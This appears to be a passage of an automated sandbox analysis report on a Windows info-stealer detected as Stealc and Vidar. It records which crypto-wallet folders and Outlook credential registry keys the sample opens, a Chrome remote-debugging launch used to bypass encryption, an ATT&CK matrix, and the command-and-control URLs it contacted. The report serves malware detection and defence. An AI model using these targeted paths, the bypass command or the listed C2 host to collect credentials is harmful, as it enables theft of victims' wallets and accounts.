Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 2.2.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3674bf0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3674bf0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1687554948.000000000362E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C580C40 sqlite3_bind_zeroblob,	2_2_6C580C40
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C580D60 sqlite3_bind_parameter_name,	2_2_6C580D60
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A8EA0 sqlite3_clear_bindings,	2_2_6C4A8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C580B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	2_2_6C580B40
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A6410 bind,WSAGetLastError,	2_2_6C4A6410
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4AC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	2_2_6C4AC050
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A6070 PR_Listen,	2_2_6C4A6070
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4AC030 sqlite3_bind_parameter_count,	2_2_6C4AC030
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C4A60B0 listen,WSAGetLastError,	2_2_6C4A60B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Create Account	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Browser Session Hijacking	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	4 Data from Local System	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	44 System Information Discovery	Distributed Component Object Model	1 Screen Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	21 Security Software Discovery	SSH	1 Email Collection	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	12 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.GiantZusy
file.exe	100%	Avira	HEUR/AGEN.1361736
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://109.107.157.132/7a5d4e643b804e99.php.	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/vcruntime140.dll	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/nss3.dll	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpH	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpv	100%	Avira URL Cloud	malware
http://109.107.157.132/h	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpem	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpl	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpDHIDAAFHIIDGDBFIE	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpfi	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/nss3.dll&.	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpVBG	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/freebl3.dll	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/vcruntime140.dllcMf	100%	Avira URL Cloud	malware
http://109.107.157.132/	100%	Avira URL Cloud	malware
http://109.107.157.132/7a5d4e643b804e99.phpLMA	100%	Avira URL Cloud	malware
http://109.107.157.132/955ccceeebf8214b/softokn3.dll	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	172.217.21.36	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://109.107.157.132/955ccceeebf8214b/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://109.107.157.132/955ccceeebf8214b/nss3.dll	true	Avira URL Cloud: malware	unknown
http://109.107.157.132/955ccceeebf8214b/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://109.107.157.132/	true	Avira URL Cloud: malware	unknown
http://109.107.157.132/955ccceeebf8214b/softokn3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	file.exe	false		high
http://109.107.157.132/7a5d4e643b804e99.php.	file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://109.107.157.132/h	file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/4633	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	false		high
https://issuetracker.google.com/284462263	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpem	file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://anglebug.com/7714	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpDHIDAAFHIIDGDBFIE	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	file.exe	false		high
https://issuetracker.google.com/255411748	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpl	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://chrome.google.com/webstore	chrome.exe, 00000003.00000003.1790013018.0000138800F48000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpfi	file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chrome.exe, 00000003.00000003.1778450745.0000138800EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778231263.000013880101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778494983.0000138801048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779503741.0000138800F24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779460452.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778299211.000013880102C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1778330993.000013880107C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779431410.0000138800A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779393062.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	false		high
http://109.107.157.132/7a5d4e643b804e99.phpv	file.exe, 00000002.00000002.2322159441.0000000002F97000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	false		high
https://drive-daily-1.corp.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3078	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/7553	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5375	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5371	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4722	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	file.exe	false		high
http://109.107.157.132/7a5d4e643b804e99.phpH	file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/7556	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpLMA	file.exe, 00000002.00000003.1860077801.0000000002FE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000003.1764814018.00001388004A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/955ccceeebf8214b/nss3.dll&.	file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	file.exe	false		high
http://anglebug.com/3502	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3625	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://109.107.157.132/7a5d4e643b804e99.phpVBG	file.exe, 00000002.00000002.2322159441.0000000002F50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://anglebug.com/3624	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5007	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3862	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000003.00000003.1780953024.0000138800338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1773356339.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780982700.0000138800CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1775503059.0000138800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774738179.0000138800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774260517.0000138800CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774218201.0000138800338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1790013018.0000138800F48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/search?q=&addon=opensearch	chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4836	chrome.exe, 00000003.00000003.1772706200.00001388009C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772387093.000013880037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000003.00000003.1772676312.000013880037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	file.exe	false		high
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	false		high
